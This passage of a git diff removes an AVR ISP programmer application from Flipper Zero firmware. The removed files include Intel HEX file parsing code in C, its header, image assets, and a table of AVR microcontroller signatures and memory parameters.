ret.status = FlipperI32HexFileStatusErrorCrc; - ret.data_size = 0; - } - break; - case I32HEX_TYPE_END_OF_FILE: - if(flipper_i32hex_file_check_data(data, ret.data_size)) { - ret.status = FlipperI32HexFileStatusEofFile; - ret.data_size = 0; - } else { - ret.status = FlipperI32HexFileStatusErrorCrc; - ret.data_size = 0; - } - break; - case I32HEX_TYPE_EXT_LINEAR_ADDR: - if(flipper_i32hex_file_check_data(data, ret.data_size)) { - data[0] = data[4]; - data[1] = data[5]; - data[3] = 0; - data[4] = 0; - ret.status = FlipperI32HexFileStatusUdateAddr; - ret.data_size = 4; - } else { - ret.status = FlipperI32HexFileStatusErrorCrc; - ret.data_size = 0; - } - break; - case I32HEX_TYPE_START_LINEAR_ADDR: - ret.status = FlipperI32HexFileStatusErrorUnsupportedCommand; - ret.data_size = 0; - break; - default: - ret.status = FlipperI32HexFileStatusErrorUnsupportedCommand; - ret.data_size = 0; - break; - } - } else { - ret.status = FlipperI32HexFileStatusErrorData; - ret.data_size = 0; - } - return ret; -} - -bool flipper_i32hex_file_check(FlipperI32HexFile* instance) { - furi_assert(instance); - - uint32_t data_size = 280; - uint8_t data[280] = {0}; - bool ret = true; - - if(instance->file_open != FlipperI32HexFileStatusOpenFileRead) { - FURI_LOG_E(TAG, "File is not open"); - ret = false; - } else { - stream_rewind(instance->stream); - - while(stream_read_line(instance->stream, instance->str_data)) { - FlipperI32HexFileRet parse_ret = flipper_i32hex_file_parse( - instance, furi_string_get_cstr(instance->str_data), data, data_size); - - if(parse_ret.status < 0) { - ret = false; - } - } - stream_rewind(instance->stream); - } - return ret; -} - -FlipperI32HexFileRet flipper_i32hex_file_i32hex_to_bin_get_data( - FlipperI32HexFile* instance, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - furi_assert(data); - - FlipperI32HexFileRet ret = {.status = FlipperI32HexFileStatusOK, .data_size = 0}; - if(instance->file_open != FlipperI32HexFileStatusOpenFileRead) { - ret.status = FlipperI32HexFileStatusErrorFileRead; - } else { - stream_read_line(instance->stream, instance->str_data); - ret = flipper_i32hex_file_parse( - instance, furi_string_get_cstr(instance->str_data), data, data_size); - } - - return ret; -} \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/helpers/flipper_i32hex_file.h b/applications/external/avr_isp_programmer/helpers/flipper_i32hex_file.h deleted file mode 100644 index 765b94beb..000000000 --- a/applications/external/avr_isp_programmer/helpers/flipper_i32hex_file.h +++ /dev/null @@ -1,55 +0,0 @@ -#pragma once - -#include - -typedef struct FlipperI32HexFile FlipperI32HexFile; - -typedef enum { - FlipperI32HexFileStatusOK = 0, - FlipperI32HexFileStatusData = 2, - FlipperI32HexFileStatusUdateAddr = 3, - FlipperI32HexFileStatusEofFile = 4, - FlipperI32HexFileStatusOpenFileWrite = 5, - FlipperI32HexFileStatusOpenFileRead = 6, - - // Errors - FlipperI32HexFileStatusErrorCrc = (-1), - FlipperI32HexFileStatusErrorOverflow = (-2), - FlipperI32HexFileStatusErrorData = (-3), - FlipperI32HexFileStatusErrorUnsupportedCommand = (-4), - FlipperI32HexFileStatusErrorNoOpenFile = (-5), - FlipperI32HexFileStatusErrorFileWrite = (-6), - FlipperI32HexFileStatusErrorFileRead = (-7), - - FlipperI32HexFileStatusReserved = - 0x7FFFFFFF, ///< Prevents enum down-size compiler optimization. -} FlipperI32HexFileStatus; - -typedef struct { - FlipperI32HexFileStatus status; - uint32_t data_size; -} FlipperI32HexFileRet; - -FlipperI32HexFile* flipper_i32hex_file_open_write(const char* name, uint32_t start_addr); - -FlipperI32HexFile* flipper_i32hex_file_open_read(const char* name); - -void flipper_i32hex_file_close(FlipperI32HexFile* instance); - -FlipperI32HexFileRet flipper_i32hex_file_bin_to_i32hex_set_data( - FlipperI32HexFile* instance, - uint8_t* data, - uint32_t data_size); - -FlipperI32HexFileRet flipper_i32hex_file_bin_to_i32hex_set_end_line(FlipperI32HexFile* instance); - -const char* flipper_i32hex_file_get_string(FlipperI32HexFile* instance); - -void flipper_i32hex_file_bin_to_i32hex_set_addr(FlipperI32HexFile* instance, uint32_t addr); - -bool flipper_i32hex_file_check(FlipperI32HexFile* instance); - -FlipperI32HexFileRet flipper_i32hex_file_i32hex_to_bin_get_data( - FlipperI32HexFile* instance, - uint8_t* data, - uint32_t data_size); \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/images/avr_app_icon_10x10.png b/applications/external/avr_isp_programmer/images/avr_app_icon_10x10.png deleted file mode 100644 index 533787fe3..000000000 Binary files a/applications/external/avr_isp_programmer/images/avr_app_icon_10x10.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/images/avr_wiring.png b/applications/external/avr_isp_programmer/images/avr_wiring.png deleted file mode 100644 index 957012405..000000000 Binary files a/applications/external/avr_isp_programmer/images/avr_wiring.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/images/chif_not_found_83x37.png b/applications/external/avr_isp_programmer/images/chif_not_found_83x37.png deleted file mode 100644 index b03bf3567..000000000 Binary files a/applications/external/avr_isp_programmer/images/chif_not_found_83x37.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/images/chip_error_70x22.png b/applications/external/avr_isp_programmer/images/chip_error_70x22.png deleted file mode 100644 index 16f81178c..000000000 Binary files a/applications/external/avr_isp_programmer/images/chip_error_70x22.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/images/chip_long_70x22.png b/applications/external/avr_isp_programmer/images/chip_long_70x22.png deleted file mode 100644 index 3edfff82d..000000000 Binary files a/applications/external/avr_isp_programmer/images/chip_long_70x22.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/images/chip_not_found_83x37.png b/applications/external/avr_isp_programmer/images/chip_not_found_83x37.png deleted file mode 100644 index 6d56dcfa0..000000000 Binary files a/applications/external/avr_isp_programmer/images/chip_not_found_83x37.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/images/dolphin_nice_96x59.png b/applications/external/avr_isp_programmer/images/dolphin_nice_96x59.png deleted file mode 100644 index a299d3630..000000000 Binary files a/applications/external/avr_isp_programmer/images/dolphin_nice_96x59.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/images/isp_active_128x53.png b/applications/external/avr_isp_programmer/images/isp_active_128x53.png deleted file mode 100644 index 843792123..000000000 Binary files a/applications/external/avr_isp_programmer/images/isp_active_128x53.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/images/link_waiting_77x56.png b/applications/external/avr_isp_programmer/images/link_waiting_77x56.png deleted file mode 100644 index d7d32aed5..000000000 Binary files a/applications/external/avr_isp_programmer/images/link_waiting_77x56.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/lib/driver/avr_isp_chip_arr.c b/applications/external/avr_isp_programmer/lib/driver/avr_isp_chip_arr.c deleted file mode 100644 index 2be54de6a..000000000 --- a/applications/external/avr_isp_programmer/lib/driver/avr_isp_chip_arr.c +++ /dev/null @@ -1,386 +0,0 @@ -#include "avr_isp_chip_arr.h" - -#include - -//https://github.com/avrdudes/avrdude/blob/master/src/avrintel.c - -const AvrIspChipArr avr_isp_chip_arr[] = { // Value of -1 typically means unknown - //{mcu_name, mcuid, family, {sig, na, ture}, flstart, flsize, pgsiz, nb, bootsz, eestart, eesize, ep, rambeg, ramsiz, nf, nl, ni}, // Source - {"ATtiny4", 0, F_AVR8L, {0x1E, 0x8F, 0x0A}, 0, 0x00200, 0x010, 0, 0, 0, 0, 0, 0x0040, 0x0020, 1, 1, 10}, // atdf, avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATtiny5", 1, F_AVR8L, {0x1E, 0x8F, 0x09}, 0, 0x00200, 0x010, 0, 0, 0, 0, 0, 0x0040, 0x0020, 1, 1, 11}, // atdf, avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATtiny9", 2, F_AVR8L, {0x1E, 0x90, 0x08}, 0, 0x00400, 0x010, 0, 0, 0, 0, 0, 0x0040, 0x0020, 1, 1, 10}, // atdf, avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATtiny10", 3, F_AVR8L, {0x1E, 0x90, 0x03}, 0, 0x00400, 0x010, 0, 0, 0, 0, 0, 0x0040, 0x0020, 1, 1, 11}, // atdf, avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATtiny20", 4, F_AVR8L, {0x1E, 0x91, 0x0F}, 0, 0x00800, 0x020, 0, 0, 0, 0, 0, 0x0040, 0x0080, 1, 1, 17}, // atdf, avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATtiny40", 5, F_AVR8L, {0x1E, 0x92, 0x0E}, 0, 0x01000, 0x040, 0, 0, 0, 0, 0, 0x0040, 0x0100, 1, 1, 18}, // atdf, avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATtiny102", 6, F_AVR8L, {0x1E, 0x90, 0x0C}, 0, 0x00400, 0x010, 0, 0, 0, 0, 0, 0x0040, 0x0020, 1, 1, 16}, // atdf, avrdude, boot size (manual) - {"ATtiny104", 7, F_AVR8L, {0x1E, 0x90, 0x0B}, 0, 0x00400, 0x010, 0, 0, 0, 0, 0, 0x0040, 0x0020, 1, 1, 16}, // atdf, avrdude, boot size (manual) - - {"ATtiny11", 8, F_AVR8, {0x1E, 0x90, 0x04}, 0, 0x00400, 0x001, 0, 0, 0, 0x0040, 1, 0x0060, 0x0020, 1, 1, 5}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny12", 9, F_AVR8, {0x1E, 0x90, 0x05}, 0, 0x00400, 0x001, 0, 0, 0, 0x0040, 2, 0x0060, 0x0020, 1, 1, 6}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny13", 10, F_AVR8, {0x1E, 0x90, 0x07}, 0, 0x00400, 0x020, 0, 0, 0, 0x0040, 4, 0x0060, 0x0040, 2, 1, 10}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny13A", 11, F_AVR8, {0x1E, 0x90, 0x07}, 0, 0x00400, 0x020, 0, 0, 0, 0x0040, 4, 0x0060, 0x0040, 2, 1, 10}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny15", 12, F_AVR8, {0x1E, 0x90, 0x06}, 0, 0x00400, 0x001, 0, 0, 0, 0x0040, 2, 0x0060, 0x0020, 1, 1, 9}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny22", 13, F_AVR8, {0x1E, 0x91, 0x06}, 0, 0x00800, -1, 0, 0, -1, -1, -1, 0x0060, 0x0080, 1, 1, 3}, // avr-gcc 12.2.0, boot size (manual) - {"ATtiny24", 14, F_AVR8, {0x1E, 0x91, 0x0B}, 0, 0x00800, 0x020, 0, 0, 0, 0x0080, 4, 0x0060, 0x0080, 3, 1, 17}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny24A", 15, F_AVR8, {0x1E, 0x91, 0x0B}, 0, 0x00800, 0x020, 0, 0, 0, 0x0080, 4, 0x0060, 0x0080, 3, 1, 17}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny25", 16, F_AVR8, {0x1E, 0x91, 0x08}, 0, 0x00800, 0x020, 0, 0, 0, 0x0080, 4, 0x0060, 0x0080, 3, 1, 15}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny26", 17, F_AVR8, {0x1E, 0x91, 0x09}, 0, 0x00800, 0x020, 0, 0, 0, 0x0080, 4, 0x0060, 0x0080, 2, 1, 12}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny28", 18, F_AVR8, {0x1E, 0x91, 0x07}, 0, 0x00800, 0x002, 0, 0, 0, 0, 0, 0x0060, 0x0020, 1, 1, 6}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny43U", 19, F_AVR8, {0x1E, 0x92, 0x0C}, 0, 0x01000, 0x040, 0, 0, 0, 0x0040, 4, 0x0060, 0x0100, 3, 1, 16}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny44", 20, F_AVR8, {0x1E, 0x92, 0x07}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0060, 0x0100, 3, 1, 17}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny44A", 21, F_AVR8, {0x1E, 0x92, 0x07}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0060, 0x0100, 3, 1, 17}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny45", 22, F_AVR8, {0x1E, 0x92, 0x06}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0060, 0x0100, 3, 1, 15}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny48", 23, F_AVR8, {0x1E, 0x92, 0x09}, 0, 0x01000, 0x040, 0, 0, 0, 0x0040, 4, 0x0100, 0x0100, 3, 1, 20}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny84", 24, F_AVR8, {0x1E, 0x93, 0x0C}, 0, 0x02000, 0x040, 0, 0, 0, 0x0200, 4, 0x0060, 0x0200, 3, 1, 17}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny84A", 25, F_AVR8, {0x1E, 0x93, 0x0C}, 0, 0x02000, 0x040, 0, 0, 0, 0x0200, 4, 0x0060, 0x0200, 3, 1, 17}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny85", 26, F_AVR8, {0x1E, 0x93, 0x0B}, 0, 0x02000, 0x040, 0, 0, 0, 0x0200, 4, 0x0060, 0x0200, 3, 1, 15}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny87", 27, F_AVR8, {0x1E, 0x93, 0x87}, 0, 0x02000, 0x080, 0, 0, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 20}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny88", 28, F_AVR8, {0x1E, 0x93, 0x11}, 0, 0x02000, 0x040, 0, 0, 0, 0x0040, 4, 0x0100, 0x0200, 3, 1, 20}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny167", 29, F_AVR8, {0x1E, 0x94, 0x87}, 0, 0x04000, 0x080, 0, 0, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 20}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny261", 30, F_AVR8, {0x1E, 0x91, 0x0C}, 0, 0x00800, 0x020, 0, 0, 0, 0x0080, 4, 0x0060, 0x0080, 3, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny261A", 31, F_AVR8, {0x1E, 0x91, 0x0C}, 0, 0x00800, 0x020, 0, 0, 0, 0x0080, 4, 0x0060, 0x0080, 3, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny441", 32, F_AVR8, {0x1E, 0x92, 0x15}, 0, 0x01000, 0x010, 0, 0, 0, 0x0100, 4, 0x0100, 0x0100, 3, 1, 30}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny461", 33, F_AVR8, {0x1E, 0x92, 0x08}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0060, 0x0100, 3, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny461A", 34, F_AVR8, {0x1E, 0x92, 0x08}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0060, 0x0100, 3, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny828", 35, F_AVR8, {0x1E, 0x93, 0x14}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0100, 4, 0x0100, 0x0200, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny828R", 36, F_AVR8, {0x1E, 0x93, 0x14}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0100, 4, 0x0100, 0x0200, 3, 1, 26}, // avrdude, from ATtiny828 - {"ATtiny841", 37, F_AVR8, {0x1E, 0x93, 0x15}, 0, 0x02000, 0x010, 0, 0, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 30}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny861", 38, F_AVR8, {0x1E, 0x93, 0x0D}, 0, 0x02000, 0x040, 0, 0, 0, 0x0200, 4, 0x0060, 0x0200, 3, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny861A", 39, F_AVR8, {0x1E, 0x93, 0x0D}, 0, 0x02000, 0x040, 0, 0, 0, 0x0200, 4, 0x0060, 0x0200, 3, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny1634", 40, F_AVR8, {0x1E, 0x94, 0x12}, 0, 0x04000, 0x020, 0, 0, 0, 0x0100, 4, 0x0100, 0x0400, 3, 1, 28}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny1634R", 41, F_AVR8, {0x1E, 0x94, 0x12}, 0, 0x04000, 0x020, 0, 0, 0, 0x0100, 4, 0x0100, 0x0400, 3, 1, 28}, // avrdude, from ATtiny1634 - {"ATtiny2313", 42, F_AVR8, {0x1E, 0x91, 0x0A}, 0, 0x00800, 0x020, 0, 0, 0, 0x0080, 4, 0x0060, 0x0080, 3, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny2313A", 43, F_AVR8, {0x1E, 0x91, 0x0A}, 0, 0x00800, 0x020, 0, 0, 0, 0x0080, 4, 0x0060, 0x0080, 3, 1, 21}, // atdf, avr-gcc 12.2.0, avrdude - {"ATtiny4313", 44, F_AVR8, {0x1E, 0x92, 0x0D}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0060, 0x0100, 3, 1, 21}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega8", 45, F_AVR8, {0x1E, 0x93, 0x07}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0060, 0x0400, 2, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega8A", 46, F_AVR8, {0x1E, 0x93, 0x07}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0060, 0x0400, 2, 1, 19}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega8HVA", 47, F_AVR8, {0x1E, 0x93, 0x10}, 0, 0x02000, 0x080, 0, 0, 0, 0x0100, 4, 0x0100, 0x0200, 1, 1, 21}, // atdf, avr-gcc 12.2.0 - {"ATmega8U2", 48, F_AVR8, {0x1E, 0x93, 0x89}, 0, 0x02000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 29}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega16", 49, F_AVR8, {0x1E, 0x94, 0x03}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0060, 0x0400, 2, 1, 21}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega16A", 50, F_AVR8, {0x1E, 0x94, 0x03}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0060, 0x0400, 2, 1, 21}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega16HVA", 51, F_AVR8, {0x1E, 0x94, 0x0C}, 0, 0x04000, 0x080, 0, 0, 0, 0x0100, 4, 0x0100, 0x0200, 1, 1, 21}, // atdf, avr-gcc 12.2.0 - {"ATmega16HVB", 52, F_AVR8, {0x1E, 0x94, 0x0D}, 0, 0x04000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0400, 2, 1, 29}, // atdf, avr-gcc 12.2.0 - {"ATmega16HVBrevB", 53, F_AVR8, {0x1E, 0x94, 0x0D}, 0, 0x04000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0400, 2, 1, 29}, // atdf, avr-gcc 12.2.0 - {"ATmega16M1", 54, F_AVR8, {0x1E, 0x94, 0x84}, 0, 0x04000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 31}, // atdf, avr-gcc 12.2.0 - {"ATmega16HVA2", 55, F_AVR8, {0x1E, 0x94, 0x0E}, 0, 0x04000, 0x080, -1, -1, -1, -1, -1, 0x0100, 0x0400, 2, 1, 22}, // avr-gcc 12.2.0 - {"ATmega16U2", 56, F_AVR8, {0x1E, 0x94, 0x89}, 0, 0x04000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0200, 3, 1, 29}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega16U4", 57, F_AVR8, {0x1E, 0x94, 0x88}, 0, 0x04000, 0x080, 4, 0x0200, 0, 0x0200, 4, 0x0100, 0x0500, 3, 1, 43}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega32", 58, F_AVR8, {0x1E, 0x95, 0x02}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0060, 0x0800, 2, 1, 21}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega32A", 59, F_AVR8, {0x1E, 0x95, 0x02}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0060, 0x0800, 2, 1, 21}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega32HVB", 60, F_AVR8, {0x1E, 0x95, 0x10}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 2, 1, 29}, // atdf, avr-gcc 12.2.0 - {"ATmega32HVBrevB", 61, F_AVR8, {0x1E, 0x95, 0x10}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 2, 1, 29}, // atdf, avr-gcc 12.2.0 - {"ATmega32C1", 62, F_AVR8, {0x1E, 0x95, 0x86}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 31}, // atdf, avr-gcc 12.2.0 - {"ATmega32M1", 63, F_AVR8, {0x1E, 0x95, 0x84}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0800, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega32U2", 64, F_AVR8, {0x1E, 0x95, 0x8A}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0400, 3, 1, 29}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega32U4", 65, F_AVR8, {0x1E, 0x95, 0x87}, 0, 0x08000, 0x080, 4, 0x0200, 0, 0x0400, 4, 0x0100, 0x0a00, 3, 1, 43}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega32U6", 66, F_AVR8, {0x1E, 0x95, 0x88}, 0, 0x08000, 0x080, 4, 0x0200, -1, -1, -1, 0x0100, 0x0a00, 3, 1, 38}, // avr-gcc 12.2.0, boot size (manual) - {"ATmega48", 67, F_AVR8, {0x1E, 0x92, 0x05}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0100, 0x0200, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega48A", 68, F_AVR8, {0x1E, 0x92, 0x05}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0100, 0x0200, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega48P", 69, F_AVR8, {0x1E, 0x92, 0x0A}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0100, 0x0200, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega48PA", 70, F_AVR8, {0x1E, 0x92, 0x0A}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0100, 0x0200, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega48PB", 71, F_AVR8, {0x1E, 0x92, 0x10}, 0, 0x01000, 0x040, 0, 0, 0, 0x0100, 4, 0x0100, 0x0200, 3, 1, 27}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega64", 72, F_AVR8, {0x1E, 0x96, 0x02}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 35}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega64A", 73, F_AVR8, {0x1E, 0x96, 0x02}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 35}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega64HVE", 74, F_AVR8, {0x1E, 0x96, 0x10}, 0, 0x10000, 0x080, 4, 0x0400, -1, -1, -1, 0x0100, 0x1000, 2, 1, 25}, // avr-gcc 12.2.0, boot size (manual) - {"ATmega64C1", 75, F_AVR8, {0x1E, 0x96, 0x86}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 31}, // atdf, avr-gcc 12.2.0 - {"ATmega64M1", 76, F_AVR8, {0x1E, 0x96, 0x84}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0100, 0x1000, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega64HVE2", 77, F_AVR8, {0x1E, 0x96, 0x10}, 0, 0x10000, 0x080, 4, 0x0400, 0, 0x0400, 4, 0x0100, 0x1000, 2, 1, 25}, // atdf, avr-gcc 12.2.0 - {"ATmega64RFR2", 78, F_AVR8, {0x1E, 0xA6, 0x02}, 0, 0x10000, 0x100, 4, 0x0400, 0, 0x0800, 8, 0x0200, 0x2000, 3, 1, 77}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega88", 79, F_AVR8, {0x1E, 0x93, 0x0A}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega88A", 80, F_AVR8, {0x1E, 0x93, 0x0A}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega88P", 81, F_AVR8, {0x1E, 0x93, 0x0F}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega88PA", 82, F_AVR8, {0x1E, 0x93, 0x0F}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 26}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega88PB", 83, F_AVR8, {0x1E, 0x93, 0x16}, 0, 0x02000, 0x040, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 27}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega103", 84, F_AVR8, {0x1E, 0x97, 0x01}, 0, 0x20000, 0x100, 0, 0, 0, 0x1000, 1, 0x0060, 0x0fa0, 1, 1, 24}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATmega128", 85, F_AVR8, {0x1E, 0x97, 0x02}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0100, 0x1000, 3, 1, 35}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega128A", 86, F_AVR8, {0x1E, 0x97, 0x02}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0100, 0x1000, 3, 1, 35}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega128RFA1", 87, F_AVR8, {0x1E, 0xA7, 0x01}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0200, 0x4000, 3, 1, 72}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega128RFR2", 88, F_AVR8, {0x1E, 0xA7, 0x02}, 0, 0x20000, 0x100, 4, 0x0400, 0, 0x1000, 8, 0x0200, 0x4000, 3, 1, 77}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega161", 89, F_AVR8, {0x1E, 0x94, 0x01}, 0, 0x04000, 0x080, 1, 0x0400, 0, 0x0200, 1, 0x0060, 0x0400, 1, 1, 21}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATmega162", 90, F_AVR8, {0x1E, 0x94, 0x04}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 28}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega163", 91, F_AVR8, {0x1E, 0x94, 0x02}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 1, 0x0060, 0x0400, 2, 1, 18}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATmega164A", 92, F_AVR8, {0x1E, 0x94, 0x0F}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega164P", 93, F_AVR8, {0x1E, 0x94, 0x0A}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega164PA", 94, F_AVR8, {0x1E, 0x94, 0x0A}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 31}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega165", 95, F_AVR8, {0x1E, 0x94, 0x10}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 22}, // avr-gcc 12.2.0, avrdude, boot size (manual) - {"ATmega165A", 96, F_AVR8, {0x1E, 0x94, 0x10}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega165P", 97, F_AVR8, {0x1E, 0x94, 0x07}, 0, 0x04000, 0x080, 4, 0x0100, 0, 0x0200, 4, 0x0100, 0x0400, 3, 1, 22}, // atdf, avr-gcc 12.2.0, avrdude - {"ATmega165PA", 98, F_AVR8, {0x1E, 0x94, 0x07}, 0, 0x04000, 0x080, 4, 0x0100, 0, 